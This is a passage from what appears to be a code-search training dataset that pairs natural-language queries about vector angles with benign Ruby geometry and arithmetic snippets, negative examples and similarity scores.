b\r\n end", "def create_perpendicular\n p1dot_ = self * P1\n p2dot_ = self * P2\n p1dot_ = -p1dot_ if p1dot_ < 0\n p2dot_ = -p2dot_ if p2dot_ < 0\n p1dot_ < p2dot_ ? (self % P1) : (self % P2)\n end", "def multiply(x, y)\n x * y\nend", "def multiply(x, y)\n x * y\nend", "def multiply(x, y)\n x * y\nend", "def multiply(nb1,nb2)\n\treturn nb1*nb2\nend", "def call v1, v2\n # \"Readable\" method provided for the parenthetically inclined\n # inter_delta(scale(intra_delta(get_pairs(v1, v2))))\n inter_delta scale intra_delta get_pairs v1, v2\n end", "def multiply(a, b)\n\t\treturn a*b\n\tend", "def part2(in1, in2)\n (in1.to_f + in2.to_f)/3\nend", "def rec_int_mult(x,y)\n n = get_n(x)\n\n return x * y if n == 1\n\n a = split_upper(x, n)\n b = split_lower(x, n)\n c = split_upper(y, n)\n d = split_lower(y, n)\n\n a_c = rec_int_mult(a,c)\n b_d = rec_int_mult(b,d)\n a_d = rec_int_mult(a,d)\n c_b = rec_int_mult(b,c)\n\n return 10 ** (n) * (a_c) + 10 ** (n / 2) * (a_d + c_b) + b_d\nend", "def multiply(number1, number2)\n number1 * number2\n end", "def multiply(x, y)\n return x.to_f * y\nend", "def part_one\n two_entries = @sum_finder.find_two\n return if two_entries.nil?\n\n first, second = two_entries\n return if first.nil? || second.nil?\n\n first * second\n end", "def scale(factor)\n x = x2 - x1\n y = y2 - y1\n Line.new(p1, Point.new(x1 + (x * factor), y1 + (y * factor)))\n end", "def /(n)\n Pair.new(@x/n, @y/n)\n end", "def mult(num1, num2)\n num1 * num2\nend", "def k(x,y)\n x * y\n end", "def multiply(first_num, second_num)\n # return is automatically implied if this is the only of last expression in the method\n first_num.to_f * second_num.to_f\nend", "def multiply(number_one, number_two)\nnumber_one * number_two\nend", "def getNormalPoint(p, a, b) \n # Vector from a to p\n ap = PVector.sub(p,a)\n # Vector from a to b\n ab = PVector.sub(b,a)\n ab.normalize # Normalize the line\n # Project vector \"diff\" onto line by using the dot product\n ab.mult(ap.dot(ab))\n normalPoint = PVector.add(a,ab)\n return normalPoint\n end", "def prod(x,y)\n x*y\nend", "def multiply_els\n\t\tself.my_inject(:*, self[0])\n\tend", "def math(a, b)\n yield(a, b)\nend", "def math(a, b)\n yield(a, b)\nend", "def multiplier(num1, num2)\nnum1 * num2\nend", "def multiplier(num1, num2)\nnum1 * num2\nend", "def ScalarMultiplication( scalaire ) \n i = @i * scalaire\n j = @j * scalaire\n \n pt = Point2D.new(i, j)\n vectorMultiSca = Vector2D.new( 0, 0 )\n vectorMultiSca.initializeWithPoint( pt )\n \n return vectorMultiSca \n end", "def division (first_number, second_number)\nfirst_number / second_number\nend", "def avg_2(x, y)\n (x + y) / 2.to_f\n end", "def division (other) # para hacer la division le damos la vuelta a la fraccion que se nos pasa por parametro y la multiplicamos\n\t\tdiv = Fraccion.new(0,0)\n\t\t#¡SE HACE EL CAMBIO!\t\t\n\t\tauxiliar = other.x\n\t\tother.x=other.y\n\t\tother.y=auxiliar\n\t\t# SE MULTIPLICA\t\n\t\tdiv.x= @x * other.x\n\t\tdiv.y= @y * other.y\t\n\treturn div\t\n\tend", "def *(value)\n mul(value) ;\n end", "def bbpMidPoint(first_point, second_point)\n\n bbpMult(bbpAdd(first_point, second_point), 0.5)\n end", "def secondderivativemeanmotion\n (@line1[44...50].to_f/100000.0) * (10.0**@line1[50...52].to_i)\n end", "def multiplier(num1, num2)\n num1 * num2\nend", "def multiply\n yield 10\n yield 75\n yield 879\nend", "def mul(a, b)\n res = []\n res << a[0]*b[0] + a[1]*b[2]\n res << a[0]*b[1] + a[1]*b[3]\n res << a[2]*b[0] + a[3]*b[2]\n res << a[2]*b[1] + a[3]*b[3]\n res\nend", "def multiply(a, b)\n\ta * b\nend", "def producto (other)\n\t\tprod=Fraccion.new(0,0)\n\t\tprod.x= @x * other.x\n\t\tprod.y= @y * other.y\n\treturn prod\t\t\t\n\tend", "def multiply(n1, n2)\n return n1*n2\n end", "def *(other)\n if other.kind_of? Numeric\n self.class.new(@lat.to_f * other.to_f, @lon.to_f * other.to_f)\n else\n other = self.class.new(other) unless latlongeable?(other)\n self.class.new(@lat.to_f * other.lat.to_f, @lon.to_f * other.lon.to_f)\n end\n end", "def bbpMult(first_point, factor)\n\n bbp(first_point.x * factor, first_point.y * factor)\n end", "def multiply(num1, num2)\n num1 * num2\n end", "def multiply(num1, num2)\n\tnew_value = num1 * num2\n\tnew_value\nend", "def point( mu, di )\n v = @p1.to_vec( @p2 )\n u = v.unit\n ol = v.length\n nl = u * (ol*mu/di)\n p = @p1.dup.add( nl.to_pos )\n p\n end", "def multiply(num_one, num_two)\n num_one * num_two\nend", "def multiply(num1, num2)\n\treturn num1 * num2\nend", "def multiply(one, two)\n\t\"#{one} multiplied by #{two} equals #{one * two}\" \nend", "def multiply(x, y)\n product = x*y\nend", "def multiply(a,b)\n\treturn a * b\nend", "def getExp ( x , y )\n\texp = x ** y\n\treturn exp\nend", "def multiply!(x=1,y=1,z=1)\n if x.kind_of? Numeric\n set(@x*x, @y*y, @z*z)\n elsif x.point3_like?\n multiply! x.x, x.y, x.z\n else\n raise_no_conversion x\n end\n end", "def multiply(a,b)\n a.to_f*b.to_f\nend", "def multiply(num_one, num_two)\n num_one * num_two\nend" ]
[ "0.6481852", "0.62772137", "0.6252549", "0.624182", "0.6235753", "0.6214382", "0.6199999", "0.61428374", "0.6124073", "0.6110809", "0.6095082", "0.60885966", "0.60580593", "0.60568845", "0.60549814", "0.60387784", "0.60384977", "0.60377175", "0.603494", "0.60263485", "0.602376", "0.60206044", "0.60206044", "0.601943", "0.60122997", "0.60110533", "0.60084605", "0.60083216", "0.59450144", "0.5933617", "0.5880077", "0.58715475", "0.58679193", "0.58658093", "0.5852245", "0.584831", "0.58452576", "0.58452576", "0.58452576", "0.5843116", "0.5843116", "0.5842863", "0.58426386", "0.5838157", "0.58287954", "0.58256954", "0.5822369", "0.5822255", "0.5817641", "0.5807334", "0.5793049", "0.5793049", "0.5788881", "0.5779994", "0.5776098", "0.57739896", "0.575491", "0.5752267", "0.57500714", "0.57328176", "0.5717832", "0.5714311", "0.5707605", "0.57047564", "0.57045954", "0.5684887", "0.5683577", "0.56761724", "0.56749445", "0.5661001", "0.5661001", "0.5649436", "0.5649436", "0.56468713", "0.5643201", "0.5623722", "0.5616408", "0.56097806", "0.560615", "0.5587671", "0.55822974", "0.55762994", "0.55761546", "0.55698186", "0.55634403", "0.55619067", "0.55577964", "0.555511", "0.5553974", "0.55524194", "0.5549287", "0.5548855", "0.55435026", "0.5541922", "0.55393684", "0.5538281", "0.5534404", "0.55343074", "0.55318165", "0.55291426" ]
0.5745167
59
Signed angle in radians between two vector directions
def bbpAngleSigned(first_point, second_point) first_point = bbpNormalize(first_point) second_point = bbpNormalize(second_point) angle = Math.atan2(first_point.x * second_point.y - first_point.y * second_point.x), bbpDot(first_point, second_point) angle = 0.0 if angle.abs < Float::EPSILON angle end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def angle_between(vector2)\n end", "def vector_angle(v1,v2)\n vcross = v1.x*v2.y-v1.y*v2.x\n vdot = v1.x*v2.x+v1.y*v2.y\n val = vcross/Math.sqrt(v1.sq_abs*v2.sq_abs)\n if val.abs >1\n val = val/val.abs*1 \n end\n if vdot >= 0\n return Math.asin(val)\n elsif vcross !=0\n return vcross/vcross.abs*Math::PI - Math.asin(val)\n else\n return Math::PI - Math.asin(val)\n end\n end", "def angle(vector1,vector2)\n\n small = 0.00000001\n undefined = 999999.1\n\n magnitudevector1 = magnitude(vector1)\n magnitudevector2 = magnitude(vector2)\n if (magnitudevector1*magnitudevector2) > (small**2)\n aux = vdot(vector1,vector2)/(magnitudevector1*magnitudevector2)\n if aux.abs> 1.0\n aux = signal(aux) * 1.0\n end\n return Math.acos(aux)\n else\n return undefined\n end\n end", "def angle_to(a,b)\n a,b = *[a,b].map(&:to_np)\n d0,d1 = dist_from(a), a.dist_from(b)\n z = self.to(a,1+d1/d0)\n dz = z.dist_from(b)\n Math.asin(dz/2/d1)*2\n end", "def angle_with( vector )\n Math.acos( max(min(udot(vector),MAX_UDOT_PRODUCT), MIN_UDOT_PRODUCT) )\n end", "def angle_direction(a,b)\n magnitude = angle_difference(a,b)\n if angle_difference(a + 1, b) < magnitude\n magnitude\n else\n -magnitude\n end\n end", "def other_angle(a, b)\n 180 - (a + b)\nend", "def angle\n ns = norm\n x_ = @x / ns\n y_ = @y / ns\n\n Math.atan2(x_, y_)\n end", "def other_angle(a, b)\n 180 - (a + b)\nend", "def full_angle_between(vector1, vector2, normal = Z_AXIS)\n direction = (vector1 * vector2) % normal\n angle = vector1.angle_between(vector2)\n angle = 360.degrees - angle if direction < 0.0\n angle\n end", "def angle_rads \n\t\t\t2.0 * Math.atan2( self.vec.mag, self.scalar ) \n\t\tend", "def angle_between(p1, p2)\n vect_p1 = p1 - self\n vect_p2 = p2 - self\n\n theta = vect_p1.polar - vect_p2.polar\n theta += 360.0 if theta < 0.0\n theta = 360.0 - theta if theta > 180.0\n return theta\n end", "def angle_between v\n pdotp = perpdot(v)\n dotp = dot(v)\n Math.atan2(pdotp, dotp)\n end", "def angle_between(vector2)\n self.class.angle_between(self, vector2)\n end", "def calculate_rad_angle_between(target)\n Math.atan2(target.y - y, target.x - x)\n end", "def angle\n Math.atan2(@y, @x)\n end", "def angle_to(v)\n ret = Math.atan2(v.y, v.x) - Math.atan2(y, x)\n if ret > Math::PI\n ret -= 2*Math::PI\n end\n if ret < -Math::PI\n ret += 2*Math::PI\n end\n ret\n end", "def angle_to(v)\n ret = Math.atan2(v.y, v.x) - Math.atan2(y, x)\n if ret > Math::PI\n ret -= 2*Math::PI\n end\n if ret < -Math::PI\n ret += 2*Math::PI\n end\n ret\n end", "def angle_deg_with( vector )\n angle_with(vector) * RAD_TO_DEG\n end", "def test_class_method_angle_between_two_vectors_in_radians\n vector1 = MyVector[4,0]\n vector2 = MyVector[4,3]\n\n v = MyVector.angle_between_two_vectors(vector1, vector2)\n assert_equal 64.35, v\n end", "def angle(x1, y1, x2, y2)\n end", "def angle(*args)\n Math.acos(self.dot(*args))\n end", "def angle_between(other)\n raise TypeError, 'Must pass only LinearEntity objects.' unless other.is_a?(LinearEntity)\n \n v1 = self.direction\n v2 = other.direction\n\n # Convert numerator to BigDecimal for more precision.\n numerator = BigDecimal(v1.dot(v2).to_f.to_s)\n denominator = v1.to_point.abs * v2.to_point.abs\n\n return Math.acos(numerator / denominator)\n end", "def getAngleOf2Vector(vector2)\n angleRad = Math.acos( self.dotProduct( vector2 ) / ( @length * vector2.length ) )\n angle = radianToDegre( angleRad )\n \n return angle\n end", "def angle\n Math.atan2( @y, @x )\n end", "def vector_to_angle(x_vel=@x_vel, y_vel=@y_vel)\n if x_vel == 0 && y_vel == 0\n return puts \"Zero velocity, no angle\"\n end\n if x_vel != 0 && y_vel != 0\n return puts \"Diagonal velocity (#{x_vel}x#{y_vel}), no angle\"\n end\n\n if x_vel.zero?\n (y_vel > 0) ? 180 : 0\n else\n (x_vel > 0) ? 90 : 270\n end\n end", "def vector_to_angle(x_vel=@x_vel, y_vel=@y_vel)\n if x_vel == 0 && y_vel == 0\n return puts \"Zero velocity, no angle\"\n end\n if x_vel != 0 && y_vel != 0\n return puts \"Diagonal velocity (#{x_vel}x#{y_vel}), no angle\"\n end\n\n if x_vel.zero?\n (y_vel > 0) ? 180 : 0\n else\n (x_vel > 0) ? 90 : 270\n end\n end", "def angle(other)\n\n # Two options here:\n #\n # 1. Math.atan2(other.cross_length(self), dot(other)) \n #\n # This is stable but slower (x 1.5)\n #\n # 2. Math.acos(dot(other) / (r * other.r)) \n #\n # This is faster but unstable around 0 and pi where the gradient of acos approaches \n # infinity. An alternative way to view this is that the gradient of cos approaches\n # zero and small differences in angle can be indistinguishable at some number of \n # decimal places.\n #\n \n # Math.acos(dot(other) / (r * other.r)) \n Math.atan2(other.cross_length(self), dot(other)) \n end", "def direction(x_diff, y_diff)\n Math.atan2(0, -1) - Math.atan2(x_diff, y_diff)\n end", "def arctan(p1, p2)\n # atan2(y, x) → Float\n Math.atan2((p2.y - p1.y), (p2.x - p1.x))\nend", "def Point2dSignedAngleBetweenVectors(arg0, arg1)\n ret = _invoke(1610743826, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle\n v = to_vec\n if v[1] == 0.0\n nil\n else\n v.angle\n end\n end", "def line_angle(p1,p2)\n v1 = RBA::DPoint.new(1,0)\n v2 = p2-p1\n return vector_angle(v1,v2)\n end", "def angle_from other_point\n Geometry.angle_from self, other_point\n end", "def signed_angle_to(v, axis)\n dot_p = self.dot(v)\n dir = self.cross(v).dot(axis)\n\n unsigned = Math.acos(dot_p / norm / v.norm)\n if dir > 0\n return unsigned\n else\n return -unsigned\n end\n end", "def signed_angle_to(v, axis)\n dot_p = self.dot(v)\n dir = self.cross(v).dot(axis)\n\n unsigned = Math.acos(dot_p / norm / v.norm)\n if dir > 0\n return unsigned\n else\n return -unsigned\n end\n end", "def theta\n (@x == 0)? ((@y > 0)? @@pio2 : -@@pio2) : Math.atan2(@y,@x)\n end", "def getAngle(c1,c2)\n x = c2[0] - c1[0]\n y = c2[1] - c1[1]\n x = x <= -180 ? x + 360 : x\n x = x >= 180 ? x - 360 : x\n\n a = Math.atan2(y, x)\n rescue\n p \"Error x=#{x}, y=#{y} sq= #{Math.sqrt(x*x+y*y)} rat=#{x / Math.sqrt(x*x+y*y)}\"\n raise Error\n end", "def orthodrome_init_angle(lat1, lon1, lat2, lon2)\n dlon = (lon2 - lon1) * RAD_PER_DEG\n cola1 = Math.cos(lat1 * RAD_PER_DEG)\n sila1 = Math.sin(lat1 * RAD_PER_DEG)\n cola2 = Math.cos(lat2 * RAD_PER_DEG)\n sila2 = Math.sin(lat2 * RAD_PER_DEG)\n\n y = Math.sin(dlon) * cola2\n x = cola1 * sila2 - sila1 * cola2 * Math.cos(dlon)\n angle = Math.atan2(y,x)/RAD_PER_DEG # angle in degrees\n end", "def angles_diff(a1, a2)\n diff = a2 - a1\n while diff > Math::PI\n diff -= 2.0 * Math::PI\n end\n while diff < -Math::PI\n diff += 2.0 * Math::PI\n end\n diff\n end", "def Vector3dSignedAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610744171, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def bearing(x1, y1, x2, y2 )\n \t\tdx, dy = x2 - x1, y2 - y1\n \t\tmagnitude = distance( x1, y1, x2, y2 )\n \t\tif( dx >= 0 && dy >= 0 ) || ( dx <= 0 && dy >= 0 )\n \t\ttheta = Math.acos(-dx / magnitude) + Math::PI\n \t\telsif ( dx >= 0 && dy <= 0 ) || ( dx <= 0 && dy <= 0 )\n \t\ttheta = Math.acos(dx / magnitude)\n \t\tend\n \t\treturn 0 if magnitude == 0\n \t\ttheta = theta - (Math::PI * 2) if theta >= (Math::PI * 2)\n \t\treturn theta\n \tend", "def angle()\n a, c = @view__.angle, @context__\n c ? c.fromDegrees__(a) : a * Processing::GraphicsContext::DEG2RAD__\n end", "def angle_diff(angle1, angle2)\n end", "def atan\n math :atan\n end", "def angle_to other_point\n Geometry.angle_to self, other_point\n end", "def angle_delta(angle1, angle2)\n \t delta = (angle1 - angle2).abs\n \t if delta >= Math::PI\n \t delta = (((2 * Math::PI) - angle1) + angle2).abs\n \t end\n \t return delta\n \tend", "def bearing_to(other)\n return 0 if self == other\n theta = Math.atan2(other.x - x, other.y - y)\n theta += Math::PI * 2 if theta < 0\n theta / DEG2RAD\n end", "def calculate_deg_angle_between(target)\n calculate_rad_angle_between(target).angle_rad_to_deg_clipped\n end", "def calc_angle(x1, y1, x2, y2)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n if (x1 == x2)\r\n if (y2 >= y1)\r\n return 0\r\n else\r\n return 180\r\n end #else\r\n elsif (y1 == y2)\r\n if (x2 >= x1)\r\n return 90\r\n else\r\n return 270\r\n end #else\r\n else\r\n x1 = x1 + 0.0 # force to be floating point\r\n x2 = x2 + 0.0 # force to floating point\r\n slope = (y2-y1) / (x2-x1)\r\n radians = Math.atan(slope)\r\n degrees = conv_radian_to_degree(radians)\r\n # Handle Adjusting Quadrent\r\n if ((x2 > x1) && (y2 > y1))\r\n # Quadrent 1;\r\n degrees = degrees\r\n elsif ((x2 > x1) && (y2 < y1))\r\n # Quadrent 2\r\n degrees = 90 - degrees;\r\n elsif ((x2 < x1) && (y2 < y1))\r\n # Quadrent 3\r\n degrees = 270 - degrees\r\n else\r\n # must be Quadrent 4\r\n degrees = 270 - degrees\r\n end # else\r\n end # else\r\n return degrees\r\nend", "def Point3dSignedAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610743865, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def calculate_radians\n if x_length == 0 || y_length == 0\n angle_to_start_of_quadrant\n else\n case angle_to_end_of_quadrant\n when DEGREES_90\n angle_ignoring_quadrant\n when DEGREES_180\n DEGREES_180 - angle_ignoring_quadrant\n when DEGREES_270\n DEGREES_180 + angle_ignoring_quadrant\n else\n DEGREES_360 - angle_ignoring_quadrant\n end\n end\n end", "def direction\n return nil if x_vel.zero? && y_vel.zero?\n vector_to_angle(*drop_diagonal)\n end", "def -(other)\n return self.class.radians(@angle - other)\n end", "def Vector3dPlanarAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610744172, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle_b\n Angle.new(\n self,\n :b,\n (\n (\n Math.acos((a**2 + c**2 - b**2) / (2.0 * a * c)) * 180\n ) / Math::PI\n )\n )\n end", "def /(other)\n return self.class.radians(@angle / other)\n end", "def direction_to(other_x, other_y)\n vector_to_angle(*drop_diagonal(other_x - @x, other_y - @y))\n end", "def direction_to(other_x, other_y)\n vector_to_angle(*drop_diagonal(other_x - @x, other_y - @y))\n end", "def angle_delta_orbit() \r\n -1.0 * eqc( @ma, @ta ) \r\n end", "def angle_a\n Angle.new(\n self,\n :a,\n (\n (\n Math.acos((b**2 + c**2 - a**2) / (2.0 * b * c)) * 180\n ) / Math::PI\n )\n )\n end", "def +(other)\n return self.class.radians(@angle + other)\n end", "def Point3dPlanarAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610743866, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def rad\n x = self[0]\n y = self[1]\n if x >= 0 && y >= 0\n Math.atan( y.to_f/x )\n elsif x < 0 && y >= 0\n Math::PI + Math.atan( y.to_f/x )\n elsif x < 0 && y < 0\n Math::PI + Math.atan( y.to_f/x )\n else\n 2*Math::PI + Math.atan( y.to_f/x )\n end\n end", "def angle(p)\n Math.atan2(p.y - self.y, p.x - self.x)\n end", "def angle_equation_of_time() \r\n delta_orbit() + delta_oblique()\r\n end", "def getGeoAngle(c1,c2)\n x = c2[0] - c1[0]\n y = c2[1] - c1[1]\n y = y <= -180 ? y+360 : y\n y = y >= 180 ? y-360 : y\n\n ca = getCentralAngle(c1,c2)\n dist = EARTH_RADIUS_FEET * ca\n ca1 = getCentralAngle(c1,[c2[0],c1[1]])\n dist1 = EARTH_RADIUS_FEET * ca1 * sign(x)\n ca2 = getCentralAngle(c2,[c2[0],c1[1]])\n dist2 = EARTH_RADIUS_FEET * ca2 * sign(y)\n\n angle = Math.atan2(dist2,dist1)\n end", "def angle_delta_oblique() \r\n #al(@ma, @ta, Celes.faom03(@ta)) - ra_Sun()\r\n al_Sun() - ra_Sun() \r\n end", "def angle\n rad / Math::PI * 180\n end", "def angle_from_input\n\n return if @path.size < 2\n return unless @active_controller.is_a? Symbol\n\n i = @active_controller == :start ? 0 : 1\n corner = @path[-i]\n ref_vector = @path[-i] - @path[1 - 3 * i]\n input_vector = corner - @ip.position\n return unless input_vector.valid?\n return if input_vector.parallel? Z_AXIS\n return if input_vector.parallel? ref_vector\n\n angle = -(MyGeom.angle_in_plane input_vector, ref_vector)\n angle -= GRAPHICAL_ANGLES[i]\n angle = ((angle+90.degrees)%180.degrees)-90.degrees\n\n @end_angles[i] = angle\n\n end", "def polar(x,y)\n theta = Math.atan2(y,x) # Compute the angle\n r = Math.hypot(x,y) # Compute the distance\n [r, theta] # The last expression is the return value\nend", "def current_angle\n vx = (@vel_x.abs < 0.001) ? 0 : @vel_x\n vy = (@vel_y.abs < 0.001) ? 0 : @vel_y\n\n if (vx == 0) && (vy == 0)\n 0\n else\n Math.atan2(vx, -1 * vy)\n end\n end", "def direction(p0, p1, p2)\n return (p0.x-p1.x)*(p2.y-p1.y) - (p2.x-p1.x)*(p0.y-p1.y)\n end", "def angle_to body\n dx = body.x - self.x\n dy = body.y - self.y\n\n (R2D * Math.atan2(dy, dx)).degrees\n end", "def angle x1, y1, a, m, c\n x2, y2 = project x1, y1, a, m\n line x1, y1, x2, y2, c\n end", "def polar(x,y)\n theta = Math.atan2(y,x) # Compute the angle\n r = Math.hypot(x,y) # Compute the distance\n [r, theta] # The last expression is the return value\nend", "def Vector3dAngleBetweenVectors(arg0, arg1)\n ret = _invoke(1610744163, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle_deg\n angle * RAD_TO_DEG\n end", "def getBearing(p1, p2)\n dLon = rad(p2[0]-p1[0])\n lat2 = rad(p2[1])\n lat1 = rad(p1[1])\n y = Math.sin(dLon) * Math.cos(lat2)\n x = Math.cos(lat1)*Math.sin(lat2) -\n Math.sin(lat1)*Math.cos(lat2)*Math.cos(dLon)\n brng = Math.atan2(y, x)\n end", "def equirectangular_angle(lat1, lon1, lat2, lon2)\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n avlat_rad = (lat2 + lat1)/2 * RAD_PER_DEG\n\n x = dlon * Math.cos(avlat_rad)\n y = dlat\n angle = Math.atan2(x,y)/RAD_PER_DEG # angle in degrees\n end", "def aas(angle_a, angle_b, side_A)\n side_A / Math.sin(deg2rad(angle_a)) * Math.sin(deg2rad(angle_b))\n end", "def angle_of_specified_radius\n @angle_of_radius\n end", "def Vector3dAngleBetweenVectorsXY(arg0, arg1)\n ret = _invoke(1610744168, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def radians\n self * 180 / Math::PI\n end", "def direction\n @direction ||= Vector.new(p2.x - p1.x, p2.y - p1.y)\n end", "def angle_c\n Angle.new(\n self,\n :c,\n (\n (\n Math.acos((a**2 + b**2 - c**2) / (2.0 * a * b)) * 180\n ) / Math::PI\n )\n )\n end", "def to_angle_axis(eps = 1e-12)\n w, x, y, z = to_a\n norm = Math.sqrt(x*x+y*y+z*z);\n if norm < eps\n return 0, Eigen::Vector3.new(0,0,1);\n end\n\n angle = 2.0 * Math.atan2(norm, w);\n axis = Eigen::Vector3.new(x, y, z) / norm\n return angle, axis\n end", "def direction\n self.vector.normalize\n end", "def angle_xy(xa, ya, xb, yb)\n - Math.atan2(yb-ya, xb-xa)*57.29%360\n end", "def angle_to(point)\n Ubiquity::Geoformulas.angle self.lat, self.lon, point.lat, point.lon\n end", "def convert_to_radians(degrees)\n degrees * PI / 180\nend", "def map_direction_to_angle(dir)\n return $direction_map[dir]\nend", "def angle\n @angle\n end", "def bbAngle(first_point, second_point)\n\n angle = Math.acos(bbpDot(bbpNormalize(first_point), bbpNormalize(second_point)))\n\n angle = 0.0 if angle.abs < Float::EPSILON\n\n angle\n end", "def getCentralAngle(c1,c2)\n # Using the Vincenty Formula\n dlon = rad(c1[0] - c2[0])\n a = Math.cos(rad(c2[1])) * Math.sin(dlon)\n b = Math.cos(rad(c1[1]))*Math.sin(rad(c2[1])) - Math.sin(rad(c1[1])) * Math.cos(rad(c2[1]))*Math.cos(dlon)\n c = Math.sin(rad(c1[1]))*Math.sin(rad(c2[1])) + Math.cos(rad(c1[1])) * Math.cos(rad(c2[1]))*Math.cos(dlon)\n\n angle = Math.atan2(Math.sqrt(a*a + b*b),c)\n\n # Using the Haversine Formula\n\n dLon = rad(c2[0] - c1[0])\n dLat = rad(c2[1] - c1[1])\n lat1 = rad(c1[1])\n lat2 = rad(c2[1])\n\n a = Math.sin(dLat/2) * Math.sin(dLat/2) +\n Math.sin(dLon/2) * Math.sin(dLon/2) * Math.cos(lat1) * Math.cos(lat2);\n c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));\n end", "def Point3dAngleBetweenVectors(arg0, arg1)\n ret = _invoke(1610743856, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def vector_to_direction(x, y)\n return 8 if y > 0 && x == 0\n return 2 if y < 0 && x == 0\n return 6 if x > 0 && y == 0\n return 4 if x < 0 && y == 0\n return 7 if y > 0 && x < 0\n return 1 if y < 0 && x < 0\n return 9 if y > 0 && x > 0\n return 3 if y < 0 && x > 0\n return 0\n end", "def atan\n Double.new(Math.atan(self.to_f))\n rescue Math::DomainError\n Double.new(::Float::NAN)\n end", "def to_radians\n self * Math::PI.fdiv(180)\n end", "def to_rad\n self * Math::PI / 180\n end" ]
[ "0.81055534", "0.80382556", "0.7801375", "0.7702591", "0.7689826", "0.76575166", "0.76072717", "0.7586406", "0.7580598", "0.75393635", "0.7453534", "0.7419655", "0.7391849", "0.7306327", "0.7305199", "0.7291392", "0.72645485", "0.72645485", "0.7211314", "0.7210488", "0.7191271", "0.7158299", "0.7103094", "0.71001947", "0.7082794", "0.706647", "0.706647", "0.7052023", "0.7003507", "0.69124776", "0.68765265", "0.6804354", "0.67818856", "0.67807543", "0.67705154", "0.67705154", "0.67671454", "0.67626745", "0.6733009", "0.6727867", "0.6727367", "0.6715905", "0.67109996", "0.67049944", "0.6673878", "0.66695553", "0.66282725", "0.6566054", "0.65368617", "0.65339816", "0.6530891", "0.652859", "0.65272665", "0.64947754", "0.64664733", "0.6464254", "0.64641017", "0.64610773", "0.64610773", "0.64205796", "0.6390967", "0.6384229", "0.6375662", "0.637285", "0.6371755", "0.6358142", "0.6351943", "0.63226336", "0.63165814", "0.63065195", "0.6301166", "0.62923574", "0.6280331", "0.6260084", "0.62528384", "0.6250454", "0.6247213", "0.62330174", "0.6224166", "0.6203582", "0.61910903", "0.6185576", "0.61807317", "0.6176135", "0.6172346", "0.6163564", "0.61558753", "0.61537087", "0.6149837", "0.61395204", "0.613303", "0.60880274", "0.60774845", "0.6073371", "0.60721195", "0.606134", "0.60551673", "0.60376245", "0.6036215", "0.6034335" ]
0.6203242
80
Angle in radians between two vector directions
def bbAngle(first_point, second_point) angle = Math.acos(bbpDot(bbpNormalize(first_point), bbpNormalize(second_point))) angle = 0.0 if angle.abs < Float::EPSILON angle end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def angle_between(vector2)\n end", "def vector_angle(v1,v2)\n vcross = v1.x*v2.y-v1.y*v2.x\n vdot = v1.x*v2.x+v1.y*v2.y\n val = vcross/Math.sqrt(v1.sq_abs*v2.sq_abs)\n if val.abs >1\n val = val/val.abs*1 \n end\n if vdot >= 0\n return Math.asin(val)\n elsif vcross !=0\n return vcross/vcross.abs*Math::PI - Math.asin(val)\n else\n return Math::PI - Math.asin(val)\n end\n end", "def angle(vector1,vector2)\n\n small = 0.00000001\n undefined = 999999.1\n\n magnitudevector1 = magnitude(vector1)\n magnitudevector2 = magnitude(vector2)\n if (magnitudevector1*magnitudevector2) > (small**2)\n aux = vdot(vector1,vector2)/(magnitudevector1*magnitudevector2)\n if aux.abs> 1.0\n aux = signal(aux) * 1.0\n end\n return Math.acos(aux)\n else\n return undefined\n end\n end", "def angle_with( vector )\n Math.acos( max(min(udot(vector),MAX_UDOT_PRODUCT), MIN_UDOT_PRODUCT) )\n end", "def angle\n ns = norm\n x_ = @x / ns\n y_ = @y / ns\n\n Math.atan2(x_, y_)\n end", "def angle_to(a,b)\n a,b = *[a,b].map(&:to_np)\n d0,d1 = dist_from(a), a.dist_from(b)\n z = self.to(a,1+d1/d0)\n dz = z.dist_from(b)\n Math.asin(dz/2/d1)*2\n end", "def angle_direction(a,b)\n magnitude = angle_difference(a,b)\n if angle_difference(a + 1, b) < magnitude\n magnitude\n else\n -magnitude\n end\n end", "def other_angle(a, b)\n 180 - (a + b)\nend", "def other_angle(a, b)\n 180 - (a + b)\nend", "def full_angle_between(vector1, vector2, normal = Z_AXIS)\n direction = (vector1 * vector2) % normal\n angle = vector1.angle_between(vector2)\n angle = 360.degrees - angle if direction < 0.0\n angle\n end", "def angle_between(p1, p2)\n vect_p1 = p1 - self\n vect_p2 = p2 - self\n\n theta = vect_p1.polar - vect_p2.polar\n theta += 360.0 if theta < 0.0\n theta = 360.0 - theta if theta > 180.0\n return theta\n end", "def calculate_rad_angle_between(target)\n Math.atan2(target.y - y, target.x - x)\n end", "def angle_between(vector2)\n self.class.angle_between(self, vector2)\n end", "def angle(x1, y1, x2, y2)\n end", "def angle_between 